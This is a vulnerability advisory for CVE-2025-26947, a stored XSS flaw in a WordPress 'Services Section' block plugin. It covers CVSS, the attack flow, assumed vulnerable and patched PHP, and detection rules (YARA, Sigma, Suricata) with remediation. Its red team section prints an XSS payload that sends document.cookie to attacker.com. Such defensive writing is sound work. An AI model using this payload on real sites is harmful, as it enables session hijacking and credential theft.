CVE-2025-26947

Executive Summary

CVE-2025-26947 is a Stored Cross-Site Scripting (XSS) vulnerability in the Services Section block WordPress plugin by bPlugins, affecting versions up to and including 1.3.4. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s block editor. When an administrator or other user views the compromised page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is used to create service section blocks within the WordPress block editor (Gutenberg). The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS increases the risk of widespread impact within a compromised site.

Supply Chain & Package Security

This is a WordPress plugin hosted on the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is not updated, any site using it is vulnerable. No known public exploit code or proof-of-concept exists at this time, but the vulnerability is trivially exploitable by any authenticated user with the ability to edit posts or pages.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can be used to target administrators and propagate further attacks.

Deep Dive & Mechanics

The vulnerability exists in the services-section plugin’s block registration and rendering logic. The plugin likely uses wp_kses or similar sanitization functions incorrectly, or fails to sanitize attributes within the block’s custom HTML output. Specifically, when a user inserts a Services Section block and provides input for fields such as title, description, or link URL, the plugin does not properly escape or validate the input before storing it in the database. When the block is rendered on the front end, the unsanitized input is output directly into the HTML, allowing an attacker to inject <script> tags or event handlers like onmouseover.

The attack flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. They add a Services Section block and inject malicious JavaScript into one of the input fields (e.g., the title field).
3. The plugin stores the malicious payload in the WordPress database.
4. When an administrator or any other user views the page, the script executes in their browser.

Because the XSS is stored, it persists across sessions and can affect multiple users without additional interaction from the attacker.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is assumed to be in the plugin’s block render callback. A typical vulnerable pattern might look like:

// Vulnerable code (services-section.php)
function render_services_block($attributes) {
    $title = $attributes['title'];
    return '<h3>' . $title . '</h3>';
}

A patched version would use esc_html() or wp_kses_post():

// Patched code
function render_services_block($attributes) {
    $title = esc_html($attributes['title']);
    return '<h3>' . $title . '</h3>';
}

Without an official patch, users must manually apply input sanitization or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the services-section plugin version <= 1.3.4.
• An authenticated user account with at least Contributor role.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Add a Services Section block.
4. In the title field (or any other unsanitized field), enter the following payload:

   <script>alert('XSS')</script>
   

5. Publish or save the post.
6. When an administrator views the post, the JavaScript executes.

For a more advanced payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor WordPress admin activity logs for unusual block edits by low-privilege users.
• Look for posts containing <script> tags in the post_content field.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Query the WordPress database for posts containing suspicious JavaScript:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Review plugin files for missing esc_html() or wp_kses() calls.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary by version)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...)
• Log Entries:
  • WordPress audit logs showing post edits by contributor users with suspicious content.
• Database Artifacts:
  • wp_posts table entries containing <script> tags in post_content.

Detection Engineering

YARA Rule

rule CVE_2025_26947_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress posts for CVE-2025-26947"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26947"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: WordPress Services Section Block Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the Services Section block plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26947 WordPress Services Section Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Remove any malicious posts from the database (search for <script> tags in wp_posts).
3. Change all admin passwords if compromise is suspected.

Long-Term Fix:

• Apply input sanitization to all user-supplied fields in the plugin’s block render callbacks (use esc_html(), esc_attr(), or wp_kses_post()).
• Implement a Content Security Policy (CSP) to block inline scripts.

Workaround:

• Restrict contributor-level users from using the Services Section block via user role editing plugins.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst